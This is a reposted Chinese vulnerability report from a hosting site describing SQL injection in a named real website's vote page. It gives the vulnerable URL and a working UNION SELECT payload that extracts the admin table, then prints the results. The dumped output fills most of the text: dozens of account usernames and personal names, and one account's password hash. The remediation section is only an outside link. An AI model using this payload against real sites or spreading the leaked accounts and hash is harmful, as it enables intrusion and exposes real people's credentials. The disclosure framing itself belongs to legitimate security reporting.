鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

爱丽网注入一个,可脱裤子(含详细修复方案)

来源:互联网 作者:佚名 时间:2015-10-19 08:44
存在一个注入点~~ 可脱 newcms 裤子。。。 详细说明: 正在逛着 突然看到 http://plus.aili.com/vote/vote_end.php?vid=31 这个投票~~。 习惯就加 单 哦也~~ 出错了 System Maintenance...... Please wait Try.Invalid SQL: select * from new_vote_main wher
存在一个注入点~~ 可脱 newcms 裤子。。。
详细说明:
正在逛着 突然看到 http://plus.aili.com/vote/vote_end.php?vid=31 这个投票~~。 习惯就加 单' 哦也~~ 出错了 
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_main where id = 31\'
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_problem where vid = 31\'
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
虽然 对 '转意了。。。但还是木有用 数字类型 转意~~ 木啥用呀
 
 
 
手爆开始
 
 
 
http://plus.aili.com/vote/vote_end.php?vid=31%20UNION%20ALL%20SELECT%20username,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20from%20admin%20--
 
 
 
在爆出来的某个账号上。我尝试进行彩虹表发现个问题:
 
 
 
账号:
 
leejin
 
 
 
密码:
 
650ff33b2875af2f34a2b576dee83947
 
 
 
这样的密码,,看起来复杂其实组合简单,还是很容易给破解的。 建议 数字+英文+古怪字符(or 大写字母) 万无一失
 
漏洞证明:
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_main where id = 31 UNION ALL SELECT username,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from admin --
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 48
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = admin
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = Aidewei
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = chenming
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = dingge
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = jackzxrl
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = leejin
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = seo
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = test
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = test-李杰鹏
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = wangfeng
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = wang晨
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = yongbao
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = yongbaolin
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = zhangwen
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = zhaoyang
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = zxmr
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 爱德威
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 白晓萌
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 边鑫
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 蔡嘉铭
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 蔡利
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 蔡寅寅
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 曹灿
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 曹翠翠
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 曹崴
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 测试用户
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
 
Please wait Try.Invalid SQL: select * from new_vote_option where pid = 岑月
 
: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
 
on line
 
 
 
System Maintenance......
修复方案:
看了下爱丽网 这个厂商。。。漏洞不断~~ 注入不断。。 感觉开发和运维~是木有啥好办法了。只能来一堵一个(啥时候是个头)。 那我来给你们个方案吧。。。。 既然是PHP。。没有混在其他语言。那还是好办的。

详细方案请查看:http://www.2cto.com/Article/201306/220326.html
 
网友评论
<